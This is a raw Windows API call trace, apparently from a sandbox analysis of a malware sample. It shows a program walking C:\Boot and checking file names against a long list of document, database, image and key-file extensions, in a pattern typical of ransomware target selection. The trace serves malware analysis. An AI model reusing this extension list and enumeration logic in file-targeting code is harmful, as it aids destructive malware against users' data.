[0091.321] lstrlenW (lpString=".iqy") returned 4 [0091.321] lstrcmpiW (lpString1=".iqy", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".j2c") returned 4 [0091.321] lstrcmpiW (lpString1=".j2c", lpString2=".ttf") returned -1 [0091.321] lstrlenW (lpString=".j2k") returned 4 [0091.322] lstrcmpiW (lpString1=".j2k", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".java") returned 5 [0091.322] lstrcmpiW (lpString1=".java", lpString2="t.ttf") returned -1 [0091.322] lstrlenW (lpString=".jp2") returned 4 [0091.322] lstrcmpiW (lpString1=".jp2", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".jpc") returned 4 [0091.322] lstrcmpiW (lpString1=".jpc", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".jpe") returned 4 [0091.322] lstrcmpiW (lpString1=".jpe", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".jpeg") returned 5 [0091.322] lstrcmpiW (lpString1=".jpeg", lpString2="t.ttf") returned -1 [0091.322] lstrlenW (lpString=".jpf") returned 4 [0091.322] lstrcmpiW (lpString1=".jpf", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".jpg") returned 4 [0091.322] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".jpx") returned 4 [0091.322] lstrcmpiW (lpString1=".jpx", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".js") returned 3 [0091.322] lstrcmpiW (lpString1=".js", lpString2="ttf") returned -1 [0091.322] lstrlenW (lpString=".jsf") returned 4 [0091.322] lstrcmpiW (lpString1=".jsf", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".json") returned 5 [0091.322] lstrcmpiW (lpString1=".json", lpString2="t.ttf") returned -1 [0091.322] lstrlenW (lpString=".jsp") returned 4 [0091.322] lstrcmpiW (lpString1=".jsp", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".kdc") returned 4 [0091.322] lstrcmpiW (lpString1=".kdc", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".kmz") returned 4 [0091.322] lstrcmpiW (lpString1=".kmz", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".kwm") returned 4 [0091.322] lstrcmpiW (lpString1=".kwm", lpString2=".ttf") returned -1 [0091.322] lstrlenW (lpString=".lasso") returned 6 [0091.322] lstrcmpiW (lpString1=".lasso", lpString2="ot.ttf") returned -1 [0091.323] lstrlenW (lpString=".lbi") returned 4 [0091.323] lstrcmpiW (lpString1=".lbi", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".lgf") returned 4 [0091.323] lstrcmpiW (lpString1=".lgf", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".lgp") returned 4 [0091.323] lstrcmpiW (lpString1=".lgp", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".log") returned 4 [0091.323] lstrcmpiW (lpString1=".log", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".m1v") returned 4 [0091.323] lstrcmpiW (lpString1=".m1v", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".m4a") returned 4 [0091.323] lstrcmpiW (lpString1=".m4a", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".m4v") returned 4 [0091.323] lstrcmpiW (lpString1=".m4v", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".max") returned 4 [0091.323] lstrcmpiW (lpString1=".max", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".md") returned 3 [0091.323] lstrcmpiW (lpString1=".md", lpString2="ttf") returned -1 [0091.323] lstrlenW (lpString=".mda") returned 4 [0091.323] lstrcmpiW (lpString1=".mda", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".mdb") returned 4 [0091.323] lstrcmpiW (lpString1=".mdb", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".mde") returned 4 [0091.323] lstrcmpiW (lpString1=".mde", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".mdf") returned 4 [0091.323] lstrcmpiW (lpString1=".mdf", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".mdw") returned 4 [0091.323] lstrcmpiW (lpString1=".mdw", lpString2=".ttf") returned -1 [0091.323] lstrlenW (lpString=".mef") returned 4 [0091.324] lstrcmpiW (lpString1=".mef", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mft") returned 4 [0091.324] lstrcmpiW (lpString1=".mft", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mfw") returned 4 [0091.324] lstrcmpiW (lpString1=".mfw", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mht") returned 4 [0091.324] lstrcmpiW (lpString1=".mht", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mhtml") returned 6 [0091.324] lstrcmpiW (lpString1=".mhtml", lpString2="ot.ttf") returned -1 [0091.324] lstrlenW (lpString=".mka") returned 4 [0091.324] lstrcmpiW (lpString1=".mka", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mkidx") returned 6 [0091.324] lstrcmpiW (lpString1=".mkidx", lpString2="ot.ttf") returned -1 [0091.324] lstrlenW (lpString=".mkv") returned 4 [0091.324] lstrcmpiW (lpString1=".mkv", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mos") returned 4 [0091.324] lstrcmpiW (lpString1=".mos", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mov") returned 4 [0091.324] lstrcmpiW (lpString1=".mov", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mp3") returned 4 [0091.324] lstrcmpiW (lpString1=".mp3", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mp4") returned 4 [0091.324] lstrcmpiW (lpString1=".mp4", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mpeg") returned 5 [0091.324] lstrcmpiW (lpString1=".mpeg", lpString2="t.ttf") returned -1 [0091.324] lstrlenW (lpString=".mpg") returned 4 [0091.324] lstrcmpiW (lpString1=".mpg", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mpv") returned 4 [0091.324] lstrcmpiW (lpString1=".mpv", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".mrw") returned 4 [0091.324] lstrcmpiW (lpString1=".mrw", lpString2=".ttf") returned -1 [0091.324] lstrlenW (lpString=".msg") returned 4 [0091.325] lstrcmpiW (lpString1=".msg", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".mxl") returned 4 [0091.325] lstrcmpiW (lpString1=".mxl", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".myd") returned 4 [0091.325] lstrcmpiW (lpString1=".myd", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".myi") returned 4 [0091.325] lstrcmpiW (lpString1=".myi", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".nef") returned 4 [0091.325] lstrcmpiW (lpString1=".nef", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".nrw") returned 4 [0091.325] lstrcmpiW (lpString1=".nrw", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".obj") returned 4 [0091.325] lstrcmpiW (lpString1=".obj", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".odb") returned 4 [0091.325] lstrcmpiW (lpString1=".odb", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".odc") returned 4 [0091.325] lstrcmpiW (lpString1=".odc", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".odm") returned 4 [0091.325] lstrcmpiW (lpString1=".odm", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".odp") returned 4 [0091.325] lstrcmpiW (lpString1=".odp", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".ods") returned 4 [0091.325] lstrcmpiW (lpString1=".ods", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".oft") returned 4 [0091.325] lstrcmpiW (lpString1=".oft", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".one") returned 4 [0091.325] lstrcmpiW (lpString1=".one", lpString2=".ttf") returned -1 [0091.325] lstrlenW (lpString=".onepkg") returned 7 [0091.325] lstrcmpiW (lpString1=".onepkg", lpString2="oot.ttf") returned -1 [0091.325] lstrlenW (lpString=".onetoc2") returned 8 [0091.325] lstrcmpiW (lpString1=".onetoc2", lpString2="boot.ttf") returned -1 [0091.325] lstrlenW (lpString=".opt") returned 4 [0091.326] lstrcmpiW (lpString1=".opt", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".oqy") returned 4 [0091.326] lstrcmpiW (lpString1=".oqy", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".orf") returned 4 [0091.326] lstrcmpiW (lpString1=".orf", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".p12") returned 4 [0091.326] lstrcmpiW (lpString1=".p12", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".p7b") returned 4 [0091.326] lstrcmpiW (lpString1=".p7b", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".p7c") returned 4 [0091.326] lstrcmpiW (lpString1=".p7c", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pam") returned 4 [0091.326] lstrcmpiW (lpString1=".pam", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pbm") returned 4 [0091.326] lstrcmpiW (lpString1=".pbm", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pct") returned 4 [0091.326] lstrcmpiW (lpString1=".pct", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pcx") returned 4 [0091.326] lstrcmpiW (lpString1=".pcx", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pdd") returned 4 [0091.326] lstrcmpiW (lpString1=".pdd", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pdf") returned 4 [0091.326] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pdp") returned 4 [0091.326] lstrcmpiW (lpString1=".pdp", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pef") returned 4 [0091.326] lstrcmpiW (lpString1=".pef", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pem") returned 4 [0091.326] lstrcmpiW (lpString1=".pem", lpString2=".ttf") returned -1 [0091.326] lstrlenW (lpString=".pff") returned 4 [0091.326] lstrcmpiW (lpString1=".pff", lpString2=".ttf") returned -1 [0091.327] lstrlenW (lpString=".pfm") returned 4 [0091.327] lstrcmpiW (lpString1=".pfm", lpString2=".ttf") returned -1 [0091.327] lstrlenW (lpString=".pfx") returned 4 [0091.327] lstrcmpiW (lpString1=".pfx", lpString2=".ttf") returned -1 [0091.327] lstrlenW (lpString=".pgm") returned 4 [0091.327] lstrcmpiW (lpString1=".pgm", lpString2=".ttf") returned -1 [0091.327] lstrlenW (lpString=".php") returned 4 [0091.327] lstrcmpiW (lpString1=".php", lpString2=".ttf") returned -1 [0091.327] lstrlenW (lpString=".php3") returned 5 [0091.327] lstrcmpiW (lpString1=".php3", lpString2="t.ttf") returned -1 [0091.327] lstrlenW (lpString=".php4") returned 5 [0091.327] lstrcmpiW (lpString1=".php4", lpString2="t.ttf") returned -1 [0091.327] lstrlenW (lpString=".php5") returned 5 [0091.327] lstrcmpiW (lpString1=".php5", lpString2="t.ttf") returned -1 [0091.327] lstrlenW (lpString=".phtml") returned 6 [0091.327] lstrcmpiW (lpString1=".phtml", lpString2="ot.ttf") returned -1 [0091.327] lstrlenW (lpString=".pict") returned 5 [0091.327] lstrcmpiW (lpString1=".pict", lpString2="t.ttf") returned -1 [0091.327] lstrlenW (lpString=".pl") returned 3 [0091.327] lstrcmpiW (lpString1=".pl", lpString2="ttf") returned -1 [0091.327] lstrlenW (lpString=".pls") returned 4 [0091.327] lstrcmpiW (lpString1=".pls", lpString2=".ttf") returned -1 [0091.327] lstrlenW (lpString=".pm") returned 3 [0091.327] lstrcmpiW (lpString1=".pm", lpString2="ttf") returned -1 [0091.327] lstrlenW (lpString=".png") returned 4 [0091.327] lstrcmpiW (lpString1=".png", lpString2=".ttf") returned -1 [0091.327] lstrlenW (lpString=".pnm") returned 4 [0091.327] lstrcmpiW (lpString1=".pnm", lpString2=".ttf") returned -1 [0091.327] lstrlenW (lpString=".pot") returned 4 [0091.327] lstrcmpiW (lpString1=".pot", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".potm") returned 5 [0091.328] lstrcmpiW (lpString1=".potm", lpString2="t.ttf") returned -1 [0091.328] lstrlenW (lpString=".potx") returned 5 [0091.328] lstrcmpiW (lpString1=".potx", lpString2="t.ttf") returned -1 [0091.328] lstrlenW (lpString=".ppa") returned 4 [0091.328] lstrcmpiW (lpString1=".ppa", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".ppam") returned 5 [0091.328] lstrcmpiW (lpString1=".ppam", lpString2="t.ttf") returned -1 [0091.328] lstrlenW (lpString=".ppm") returned 4 [0091.328] lstrcmpiW (lpString1=".ppm", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".pps") returned 4 [0091.328] lstrcmpiW (lpString1=".pps", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".ppsm") returned 5 [0091.328] lstrcmpiW (lpString1=".ppsm", lpString2="t.ttf") returned -1 [0091.328] lstrlenW (lpString=".ppt") returned 4 [0091.328] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".pptm") returned 5 [0091.328] lstrcmpiW (lpString1=".pptm", lpString2="t.ttf") returned -1 [0091.328] lstrlenW (lpString=".pptx") returned 5 [0091.328] lstrcmpiW (lpString1=".pptx", lpString2="t.ttf") returned -1 [0091.328] lstrlenW (lpString=".prn") returned 4 [0091.328] lstrcmpiW (lpString1=".prn", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".ps") returned 3 [0091.328] lstrcmpiW (lpString1=".ps", lpString2="ttf") returned -1 [0091.328] lstrlenW (lpString=".psb") returned 4 [0091.328] lstrcmpiW (lpString1=".psb", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".psd") returned 4 [0091.328] lstrcmpiW (lpString1=".psd", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".pst") returned 4 [0091.328] lstrcmpiW (lpString1=".pst", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".ptx") returned 4 [0091.328] lstrcmpiW (lpString1=".ptx", lpString2=".ttf") returned -1 [0091.328] lstrlenW (lpString=".pub") returned 4 [0091.329] lstrcmpiW (lpString1=".pub", lpString2=".ttf") returned -1 [0091.329] lstrlenW (lpString=".pwm") returned 4 [0091.329] lstrcmpiW (lpString1=".pwm", lpString2=".ttf") returned -1 [0091.329] lstrlenW (lpString=".pxr") returned 4 [0091.329] lstrcmpiW (lpString1=".pxr", lpString2=".ttf") returned -1 [0091.329] lstrlenW (lpString=".py") returned 3 [0091.329] lstrcmpiW (lpString1=".py", lpString2="ttf") returned -1 [0091.329] lstrlenW (lpString=".qt") returned 3 [0091.329] lstrcmpiW (lpString1=".qt", lpString2="ttf") returned -1 [0091.329] lstrlenW (lpString=".r3d") returned 4 [0091.329] lstrcmpiW (lpString1=".r3d", lpString2=".ttf") returned -1 [0091.329] lstrlenW (lpString=".raf") returned 4 [0091.329] lstrcmpiW (lpString1=".raf", lpString2=".ttf") returned -1 [0091.329] lstrlenW (lpString=".rar") returned 4 [0091.329] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0091.329] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0091.329] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0091.330] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0091.330] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0091.330] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0091.330] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0091.330] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0091.331] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0091.331] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0091.331] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0091.331] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0091.331] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0091.332] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0091.332] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0091.332] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0091.332] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0091.332] FindClose (in: hFindFile=0x4260850 | out: hFindFile=0x4260850) returned 1 [0091.333] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0091.333] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0091.333] lstrlenW (lpString="C:\\Boot\\fr-CA") returned 13 [0091.333] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0091.333] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.333] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0091.334] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0091.334] lstrlenW (lpString=".1cd") returned 4 [0091.334] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0091.334] lstrlenW (lpString=".3ds") returned 4 [0091.334] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0091.334] lstrlenW (lpString=".3fr") returned 4 [0091.334] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0091.334] lstrlenW (lpString=".3g2") returned 4 [0091.334] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 